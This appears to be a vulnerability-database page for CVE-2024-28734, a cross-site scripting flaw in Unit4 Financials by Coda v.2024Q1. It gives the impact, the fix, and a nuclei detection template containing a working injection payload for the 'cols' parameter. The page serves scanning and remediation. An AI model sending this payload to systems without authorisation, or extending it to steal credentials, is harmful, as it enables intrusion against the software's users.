HexBrain

Browse / CVEs / CVE-2024-28734

CVE-2024-28734

Coda v.2024Q1 - Cross-Site Scripting

mediumseverity
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

Cross Site Scripting vulnerability in Unit4 Financials by Coda v.2024Q1 allows a remote attacker to escalate privileges via a crafted script to the cols parameter.

Impact

Attackers can inject malicious scripts that execute in users' browsers, potentially stealing credentials or performing unauthorized actions.

Fix

Update Coda to version 2024Q2 or later that addresses the XSS vulnerability.

How to confirm it

Send: GET /coda/frameset?cols="><frame%20src="javascript:alert(document.domain)">
Positive when: contains "<frameset cols=\"\"><frame src=\"javascript:alert(document.dom…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-28734 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-28734

info:
  name: Coda v.2024Q1 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    Cross Site Scripting vulnerability in Unit4 Financials by Coda v.2024Q1 allows a remote attacker to escalate privileges via a crafted script to the cols parameter.
  impact: |
    Attackers can inject malicious scripts that execute in users' browsers, potentially stealing credentials or performing unauthorized actions.
  remediation: |
    Update Coda to version 2024Q2 or later that addresses the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/177619/Financials-By-Coda-Cross-Site-Scripting.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28734
    - http://financials.com
    - http://unit4.com
  classification:
    epss-score: 0.01791
    epss-percentile: 0.78555
  metadata:
    max-request: 1
  tags: packetstorm,cve,cve2024,coda,xss,vkev,vuln

http:
  - raw:
      - |
        GET /coda/frameset?cols="><frame%20src="javascript:alert(document.domain)"> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<frameset cols=""><frame src="javascript:alert(document.domain)">'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from